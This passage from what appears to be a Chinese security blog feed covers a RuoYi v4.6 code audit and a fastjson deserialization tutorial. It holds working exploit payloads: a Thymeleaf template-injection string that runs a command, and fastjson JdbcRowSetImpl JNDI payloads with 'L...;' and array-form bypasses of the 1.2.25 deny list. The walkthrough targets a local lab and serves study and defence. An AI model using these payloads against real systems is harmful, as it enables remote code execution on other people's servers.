限制加载的类的种类</p><hr><h3 id="Thymeleaf模板注入"><a href="#Thymeleaf模板注入" class="headerlink" title="Thymeleaf模板注入"></a>Thymeleaf模板注入</h3><p>全局搜索<code>::</code></p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260506095139192.png" alt="image-20260506095139192"></p><p>存在片段引用 且参数可控</p><p>直接打</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__$&#123;T(java.lang.Runtime).getRuntime().exec(<span class="string">&quot;calc&quot;</span>)&#125;__</span><br></pre></td></tr></table></figure><h4 id="修复建议-4"><a href="#修复建议-4" class="headerlink" title="修复建议"></a>修复建议</h4><p>要么提高版本使用Thymeleaf2 要么使用RestController</p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>版本还是比较老的 新版本基本都修了 </p><p>而且现在谁还还在用前后端不分离的项目 若依有个spring-vue的前后端版本 模板注入就打不了了 其他的也修了基本</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;若依v4-6&quot;&gt;&lt;a href=&quot;#若依v4-6&quot; class=&quot;headerlink&quot; title=&quot;若依v4.6&quot;&gt;&lt;/a&gt;若依v4.6&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/yangzongzhuan/RuoYi/archiv</summary>
      
    
    
    
    <category term="代码审计" scheme="http://example.com/categories/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="代码审计" scheme="http://example.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>fastjson</title>
    <link href="http://example.com/2026/04/24/fastjson/"/>
    <id>http://example.com/2026/04/24/fastjson/</id>
    <published>2026-04-24T05:45:59.000Z</published>
    <updated>2026-05-28T13:39:21.403Z</updated>
    
    <content type="html"><![CDATA[<h1 id="fastjson"><a href="#fastjson" class="headerlink" title="fastjson"></a>fastjson</h1><p>fastjson是阿里巴巴提供的高性能json数据解析库 可以高效的将java对象转换为json数据 </p><p>也可以接收json数据转换为原来的javaBean </p><p>虽然是一个很好用的json数据解析库 但是漏洞频出 java安全必学的一个组件</p><h2 id="fastjson原理"><a href="#fastjson原理" class="headerlink" title="fastjson原理"></a>fastjson原理</h2><p>配置依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.alibaba<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>fastjson<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.24<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>先简单使用上手一下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.test;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> lombok.ToString;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@ToString</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Person</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> age;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Person</span><span class="params">()</span>&#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;构造器&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getAge</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;getAge&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> age;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setAge</span><span class="params">(<span class="type">int</span> age)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.age = age;</span><br><span class="line">        System.out.println(<span class="string">&quot;setAge&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getName</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;getName&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> name;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(String name)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;setName&quot;</span>);</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Person</span> <span class="variable">a</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Person</span>();</span><br><span class="line">        a.setName(<span class="string">&quot;sakuya&quot;</span>);</span><br><span class="line">        a.setAge(<span class="number">12</span>);</span><br><span class="line">        System.out.println(<span class="string">&quot;开始转换为json数据&quot;</span>);</span><br><span class="line">        <span class="type">String</span> <span class="variable">jsonstring</span> <span class="operator">=</span> JSON.toJSONString(a);</span><br><span class="line"></span><br><span class="line">        System.out.println(jsonstring);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2026/04/24/fastjson/image-20260424135526708.png" alt="image-20260424135526708"></p><p>根据输出结果可以得到 在转换为json数据时 会调用对象中的getter方法去获取具体属性的值</p><h3 id="调试一下对象-to-json的源码"><a href="#调试一下对象-to-json的源码" class="headerlink" title="调试一下对象 to json的源码"></a>调试一下对象 to json的源码</h3><p><img src="/2026/04/24/fastjson/image-20260424140524553.png" alt="image-20260424140524553"></p><p>进过多层方法调用</p><p><img src="/2026/04/24/fastjson/image-20260424140541839.png" alt="image-20260424140541839"></p><p>获取SerializeWriter out 用来装我们的json数据的</p><p><img src="/2026/04/24/fastjson/image-20260424140938379.png" alt="image-20260424140938379"></p><p>JSONSerializer用来序列化我们的Object对象 重点来到这个write方法</p><p><img src="/2026/04/24/fastjson/image-20260424141054116.png" alt="image-20260424141054116"></p><p>write方法中会获取对象的class类 再获取这个class的对象writer</p><p>跟进this.getObjectWriter(clazz)</p><p><img src="/2026/04/24/fastjson/image-20260424141305627.png" alt="image-20260424141305627"></p><p>层层调用到这个方法里</p><p><img src="/2026/04/24/fastjson/image-20260424141542159.png" alt="image-20260424141542159"></p><p>上面的逻辑是要找可以序列化这个类的对象writer </p><p>由于是我们自己写的 找不到这个class类的writer 最后直接将他放入SerializeConfig里面 </p><p><img src="/2026/04/24/fastjson/image-20260424142012047.png" alt="image-20260424142012047"></p><p>最后再次获取writer </p><p>writer 包含了之前的java对象的大部分信息 还获取了所有的getter方法</p><p><img src="/2026/04/24/fastjson/image-20260424142315381.png" alt="image-20260424142315381"></p><p>回到这里 开始序列化</p><p><img src="/2026/04/24/fastjson/image-20260424142421292.png" alt="image-20260424142421292"></p><p>序列化结束就直接输出</p><p><img src="/2026/04/24/fastjson/image-20260424142813708.png" alt="image-20260424142813708"></p><p>总的来说 这里的序列化是使用了对象中的getter方法 然后获取到对象属性值</p><p>这里的序列化和java原生的序列化不同 并没有使用read方法</p><hr><h3 id="反序列化-json-to-javabean对象"><a href="#反序列化-json-to-javabean对象" class="headerlink" title="反序列化 json to javabean对象"></a>反序列化 json to javabean对象</h3><p>反序列化的时候有3个方法</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">JSON.parse()</span><br><span class="line">JSON.parseObject()</span><br><span class="line">JSON.parseArrary()</span><br></pre></td></tr></table></figure><p><img src="/2026/04/24/fastjson/image-20260424143422887.png" alt="image-20260424143422887"></p><p>获取到的json数据 直接原样输出了 从结果上来看并没有进行正确的反序列化</p><p>因为这里解析器不知道要转化为什么对象 所以默认会转换为JSONObject对象</p><p><img src="/2026/04/24/fastjson/image-20260424143748078.png" alt="image-20260424143748078"></p><p>给定了要转换的class类 成功转换</p><p>从输出上可以知道转换的时候调用了setter和getter方法</p><p>先来调试一下parse方法</p><p><img src="/2026/04/24/fastjson/image-20260424144007014.png" alt="image-20260424144007014"></p><p><img src="/2026/04/24/fastjson/image-20260424144149544.png" alt="image-20260424144149544"></p><p>创建DefaultJSONParser实例</p><p><img src="/2026/04/24/fastjson/image-20260424144219987.png" alt="image-20260424144219987"></p><p>会先调用上面的方法 JSONScanner会去扫描我们json数据 返回一个JSONLexer</p><p><img src="/2026/04/24/fastjson/image-20260424144420533.png" alt="image-20260424144420533"></p><p>这里会判断json数据里面第一个字符是什么 然后next 换到下一个</p><p><img src="/2026/04/24/fastjson/image-20260424144346831.png" alt="image-20260424144346831"></p><p>开始尝试反序列化</p><p><img src="/2026/04/24/fastjson/image-20260424144523795.png" alt="image-20260424144523795"></p><p>根据当前字符判断 应该干什么</p><p>这里的前面基本都是去解析json数据格式的逻辑 还没到我们想要的</p><p><img src="/2026/04/24/fastjson/image-20260424144650474.png" alt="image-20260424144650474"></p><p>这里会创建一个JSONObject对象 是用来后面进行对象转换用的 </p><p><img src="/2026/04/24/fastjson/image-20260424144851035.png" alt="image-20260424144851035"></p><p>这里返回的对象是空的</p><p><img src="/2026/04/24/fastjson/image-20260424144917869.png" alt="image-20260424144917869"></p><p>这里的parseObject也是判断json数据格式用的</p><p><img src="/2026/04/24/fastjson/image-20260424145956988.png" alt="image-20260424145956988"></p><p>这里会获取key 记住lexer.ScanSymbol方法 会获取一个键名</p><p><img src="/2026/04/24/fastjson/image-20260424144943101.png" alt="image-20260424144943101"></p><p>重点来到这里</p><p><img src="/2026/04/24/fastjson/image-20260424145051538.png" alt="image-20260424145051538"></p><p>这里的key和DEFAULT_TYPE_KEY比较重要</p><p>key的值是我们的一个键的名字 DEFAULT_TYPE_KEY是@type</p><p><img src="/2026/04/24/fastjson/image-20260424145306058.png" alt="image-20260424145306058"></p><p>这里默认就会是true 也就是说只要前面的key成立就会执行</p><p>如果判断成立就会获取对象类型 typeName 也就是我们想转换为的对象 </p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">typeName</span> <span class="operator">=</span> lexer.scanSymbol(<span class="built_in">this</span>.symbolTable, <span class="string">&#x27;&quot;&#x27;</span>);</span><br></pre></td></tr></table></figure><p>这里会获取第一个键值并loadclass</p><p><strong>这么来看 在源码中存在一个自定义加载类的功能</strong> 前提是你的第一个键名要是**@type** 并且值为你要转换的类的全限定包名</p><p>我们这里就没有设置 所以就会掉过了</p><p>最后就直接输出原来的json数据了</p><p><img src="/2026/04/24/fastjson/image-20260424150501749.png" alt="image-20260424150501749"></p><p>后续会搞成JSONObject对象 （但是这都不重要了</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p><img src="/2026/04/24/fastjson/image-20260424151126959.png" alt="image-20260424151126959"></p><p>反序列化的时候 我们可以在json数据里面 第一个键的位置写一个@type并写入任意一个类 这样在反序列化的时候解析器会自动的解析成这个类</p><p>前面调用的时候 又知道会调用setter或者getter方法 那么基本了解为什么会导致漏洞了</p><hr><p>可以加载任意一个类 并且还会调用getter setter方法</p><p><code>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</code>（类加载） <code>com.sun.rowset.JdbcRowSetImpl</code>（jndi）这些类都在fsatjson反序列化的时候触发</p><hr><h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3><h4 id="私有属性-共有属性"><a href="#私有属性-共有属性" class="headerlink" title="私有属性 共有属性"></a>私有属性 共有属性</h4><p>在没有setter方法的时候 并且属性是私有属性 不会被赋值</p><p><img src="/2026/04/24/fastjson/image-20260424151511635.png" alt="image-20260424151511635"></p><p><img src="/2026/04/24/fastjson/image-20260424151552612.png" alt="image-20260424151552612"></p><p>但是getter方法仍然被调用了</p><p>当属性为共有属性的时候并且也没有getter的时候 仍然可以赋值</p><p><img src="/2026/04/24/fastjson/image-20260424151726283.png" alt="image-20260424151726283"></p><h4 id="私有属性仍然想被赋值该怎么办"><a href="#私有属性仍然想被赋值该怎么办" class="headerlink" title="私有属性仍然想被赋值该怎么办"></a>私有属性仍然想被赋值该怎么办</h4><p>添加参数 <code>Feature.SupportNonPublicField</code></p><p><code>JSON.parse(jsonstring,Feature.SupportNonPublicField)</code></p><p>即可被赋值</p><p><img src="/2026/04/24/fastjson/image-20260424154018151.png" alt="image-20260424154018151"></p><h4 id="getter-setter"><a href="#getter-setter" class="headerlink" title="getter setter"></a>getter setter</h4><p>然后在反序列化的时候会自动调用这些 setter 与 getter 方法的调用，注意！并不是所有的 setter 和 getter 方法。</p><p><strong>下面直接引用结论，Fastjson会对满足下列要求的setter&#x2F;getter方法进行调用：</strong></p><p>满足条件的setter：</p><ul><li>非静态函数</li><li>返回类型为void或当前类</li><li>参数个数为1个</li></ul><p>满足条件的getter：</p><ul><li>非静态方法</li><li>无参数</li><li><strong>返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong</strong></li></ul><p>具体源码可以看这位师傅的调试过程</p><p><a href="https://nivi4.notion.site/fastjson-873722f1374b4c4e99cc3283a38dfb37">fastjson基础</a></p><p>如果是parseObject就都会触发getter和setter getter触发就没上述要求</p><h4 id="parse-与-parseObject区别"><a href="#parse-与-parseObject区别" class="headerlink" title="parse 与 parseObject区别"></a>parse 与 parseObject区别</h4><p>基本没什么区别 但是后者parseObject最后返回的是JSONObject</p><p>所以他一定会触发getter与 setter</p><p>parse 只会触发setter 没有setter在触发getter</p><hr><h2 id="fastjson漏洞分析"><a href="#fastjson漏洞分析" class="headerlink" title="fastjson漏洞分析"></a>fastjson漏洞分析</h2><p>说了这么多 直接来试试漏洞利用</p><h3 id="1-2-0-1-2-24"><a href="#1-2-0-1-2-24" class="headerlink" title="1.2.0~1.2.24"></a>1.2.0~1.2.24</h3><p>对于@type加载类没有任何限制 所以可以直接打</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\&quot;@type\&quot;:\&quot;com.sun.rowset.JdbcRowSetImpl\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/demo\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;autoCommit\&quot;:\&quot;true\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p><img src="/2026/04/24/fastjson/image-20260424155245601.png" alt="image-20260424155245601"></p><h4 id="分析一下"><a href="#分析一下" class="headerlink" title="分析一下"></a>分析一下</h4><p><img src="/2026/04/24/fastjson/image-20260424155535388.png" alt="image-20260424155535388"></p><p>直接来到这里</p><p><img src="/2026/04/24/fastjson/image-20260424155632629.png" alt="image-20260424155632629"></p><p><img src="/2026/04/24/fastjson/image-20260424155735785.png" alt="image-20260424155735785"></p><p>根据前面的分析 这里最为重要</p><p><img src="/2026/04/24/fastjson/image-20260424155803507.png" alt="image-20260424155803507"></p><p>判断第一个键名为@type 进入判断语句</p><p>获取typeName</p><p>开始加载这个类</p><p><img src="/2026/04/24/fastjson/image-20260424155848385.png" alt="image-20260424155848385"></p><p>下面有2个奇怪的判断语句 在这个版本区间还没用</p><p><img src="/2026/04/24/fastjson/image-20260424155930529.png" alt="image-20260424155930529"></p><p>这里的逻辑是通过查找mappings中有点class类去加载 显然这里是不可能有的</p><p><img src="/2026/04/24/fastjson/image-20260424160047056.png" alt="image-20260424160047056"></p><p>获取当前线程的类加载器 去加载</p><p><img src="/2026/04/24/fastjson/image-20260424160126431.png" alt="image-20260424160126431"></p><p>加载成功 并把这个class类放入mapping中 返回加载的class类</p><p><img src="/2026/04/24/fastjson/image-20260424160227564.png" alt="image-20260424160227564"></p><p>也是获取deserializer然后去进行反序列化</p><p>反序列化的时候就触发了getter方法然后触发漏洞了</p><h4 id="总结一下"><a href="#总结一下" class="headerlink" title="总结一下"></a>总结一下</h4><p>这个版本区间没有做任何的限制 可以随便打</p><hr><h3 id="1-2-25-1-2-41"><a href="#1-2-25-1-2-41" class="headerlink" title="1.2.25~1.2.41"></a>1.2.25~1.2.41</h3><p>从这个版本开始 就添加了黑名单和白名单和AutoType的限制</p><h4 id="分析一下-1"><a href="#分析一下-1" class="headerlink" title="分析一下"></a>分析一下</h4><p>我们在拿之前的payload打一下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\&quot;@type\&quot;:\&quot;com.sun.rowset.JdbcRowSetImpl\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/demo\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;autoCommit\&quot;:\&quot;true\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p><img src="/2026/04/24/fastjson/image-20260426130735792.png" alt="image-20260426130735792"></p><p>提示我们autoType不支持这个类</p><p>我们继续调试一下</p><p><img src="/2026/04/24/fastjson/image-20260426130922921.png" alt="image-20260426130922921"></p><p>重点关注这个地方 之前就是在这里把我们想要加载的类给放到mapping中的</p><p>现在这里多了个checkAutoType的函数</p><p>跟进一下</p><p><img src="/2026/04/24/fastjson/image-20260426131125376.png" alt="image-20260426131125376"></p><p>这里面需要autoTypeSupport为true 后面还有白名单和黑名单的检测 </p><p>expectClass默认也是null 所以要想成功加载类 就必须要使得autoTypeSupport为true</p><p>我们看看这个类</p><p><img src="/2026/04/24/fastjson/image-20260426131232465.png" alt="image-20260426131232465"></p><p>默认情况autoTypeSuppory为false</p><p>并且denylist里面有很多的包 acceptlist里面默认是空的</p><p><img src="/2026/04/24/fastjson/image-20260426131416977.png" alt="image-20260426131416977"></p><p>后续是先黑名单检测然后再白名单 但是黑名单检测就过不了就直接抛出异常了</p><p>黑名单里面的包有这些</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">this</span>.denyList = </span><br><span class="line">bsh</span><br><span class="line">com.mchange</span><br><span class="line">com.sun.</span><br><span class="line">java.lang.Thread</span><br><span class="line">java.net.Socket</span><br><span class="line">java.rmi</span><br><span class="line">javax.xml</span><br><span class="line">org.apache.bcel</span><br><span class="line">org.apache.commons.beanutils</span><br><span class="line">org.apache.commons.collections.Transformer</span><br><span class="line">org.apache.commons.collections.functors</span><br><span class="line">org.apache.commons.collections4.comparators</span><br><span class="line">org.apache.commons.fileupload</span><br><span class="line">org.apache.myfaces.context.servlet</span><br><span class="line">org.apache.tomcat</span><br><span class="line">org.apache.wicket.util</span><br><span class="line">org.codehaus.groovy.runtime</span><br><span class="line">org.hibernate</span><br><span class="line">org.jboss</span><br><span class="line">org.mozilla.javascript</span><br><span class="line">org.python.core</span><br><span class="line">org.springframework</span><br></pre></td></tr></table></figure><hr><p>我们先把这个autoTypeSuppory参数设置为true在打打看</p><p><img src="/2026/04/24/fastjson/image-20260426131719853.png" alt="image-20260426131719853"></p><p><img src="/2026/04/24/fastjson/image-20260426131910213.png" alt="image-20260426131910213"></p><p>函数checkAutoType函数这里 如果autoTypeSuppory为true 是<strong>先白名单之后再黑名单</strong> 如果白名单过了就直接加载这个类</p><p>但是默认情况白名单就是空的 所以得尝试绕过黑名单</p><p>我们先修改一下我们的payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\&quot;@type\&quot;:\&quot;acom.sun.rowset.JdbcRowSetImpl\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/demo\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;autoCommit\&quot;:\&quot;true\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p>这里@type的值变为acom.sun.rowset.JdbcRowSetImpl 显然是不可能在黑名单里面的</p><p><img src="/2026/04/24/fastjson/image-20260426132504510.png" alt="image-20260426132504510"></p><p>继续来到这里 显然是可以绕过黑名单的 我们看看后续逻辑</p><p><img src="/2026/04/24/fastjson/image-20260426132918313.png" alt="image-20260426132918313"></p><p>来到这里的loadClass 之前也是在这个地方把我们的类给加到mapping中 成功加载类</p><p>继续跟进一下</p><p><img src="/2026/04/24/fastjson/image-20260426133020943.png" alt="image-20260426133020943"></p><p>在这里面有2个奇怪的判断 </p><p>第一个判断是检测第一个字符是不是<code>[</code> 左中括号 如果是的话会加载这个类 最后返回一个数组 里面有我们要加载的class对象</p><p>第二个判断是检测首尾字符分别是否是<code>L</code>和<code>;</code> 如果是的话就去到首尾字符 加载这个类</p><p>在之前的那个版本里面 这里的判断我们没有去管</p><p><img src="/2026/04/24/fastjson/image-20260426133531421.png" alt="image-20260426133531421"></p><p>因为后面也会将我们的类加入这个mappings里面 后面就会加载这个类 </p><p>但是在现在 我们这个类实际没法被加载 所以得通过上面的2个判断语句去加载我们的类</p><p>于是现在的payload就变成了这样</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\&quot;@type\&quot;:\&quot;Lcom.sun.rowset.JdbcRowSetImpl;\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/demo\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;autoCommit\&quot;:\&quot;true\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\&quot;@type\&quot;:\&quot;[com.sun.rowset.JdbcRowSetImpl\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/demo\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;autoCommit\&quot;:\&quot;true\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p>先试第一种</p><p><img src="/2026/04/24/fastjson/image-20260426133826062.png" alt="image-20260426133826062"></p><p>继续来到这里</p><p><img src="/2026/04/24/fastjson/image-20260426133901974.png" alt="image-20260426133901974"></p><p>通过类第二个检测 开始加载类了 这里的效果就是重新一次loadClass这个函数</p><p>后续就是成功将这个类加入mappings里面 后面就和之前的一样了 反序列化之后就成功触发getter从而触发漏洞</p><p><img src="/2026/04/24/fastjson/image-20260426134045622.png" alt="image-20260426134045622"></p><p><img src="/2026/04/24/fastjson/image-20260426134130147.png" alt="image-20260426134130147"></p><p><img src="/2026/04/24/fastjson/image-20260426134146055.png" alt="image-20260426134146055"></p><p>成功执行</p><p>我们使用第二个payload试试</p><p><img src="/2026/04/24/fastjson/image-20260426134238385.png" alt="image-20260426134238385"></p><p>理论这里应该就可以了 但是这里报错提示第43个字符需要是<code>[</code></p><p>我们继续修改payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\&quot;@type\&quot;:\&quot;[com.sun.rowset.JdbcRowSetImpl\&quot;[,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/demo\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;autoCommit\&quot;:\&quot;true\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p><img src="/2026/04/24/fastjson/image-20260426134425595.png" alt="image-20260426134425595"></p><p>有提示要是<code>{</code> 而不是<code>,</code></p><p>继续修改</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">payload</span>  <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\&quot;@type\&quot;:\&quot;[com.sun.rowset.JdbcRowSetImpl\&quot;[&#123;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;dataSourceName\&quot;:\&quot;ldap://127.0.0.1:4321/demo\&quot;,\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;\t\&quot;autoCommit\&quot;:\&quot;true\&quot;\n&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p><img src="/2026/04/24/fastjson/image-20260426134518405.png" alt="image-20260426134518405"></p><p>这下成功了 成功实现数组绕过</p><p>其实这里很奇怪 为什么要这么畸形的json数据他会去加载这个类 虽然根据报错修改了payload最后也成功执行了</p><p>后面也看了一下源代码 就是在分析的时候<strong>不符合fastjson对数据格式的要求就是了</strong> 感觉这个形式就很奇怪</p><p>可以自己动手去调试一下</p><p>但是也确实绕过去了</p><h4 id="总结一下-1"><a href="#总结一下-1" class="headerlink" title="总结一下"></a>总结一下</h4><p>这个版本添加了autoTypeSuppory 和 黑白名单 </p><p>可以通过在类名单首尾添加<code>L</code>  和 <code>;</code>绕过</p><p>也可以通过构造畸形的数组形式绕过</p><p>这里的前提就是autoTypeSuppory 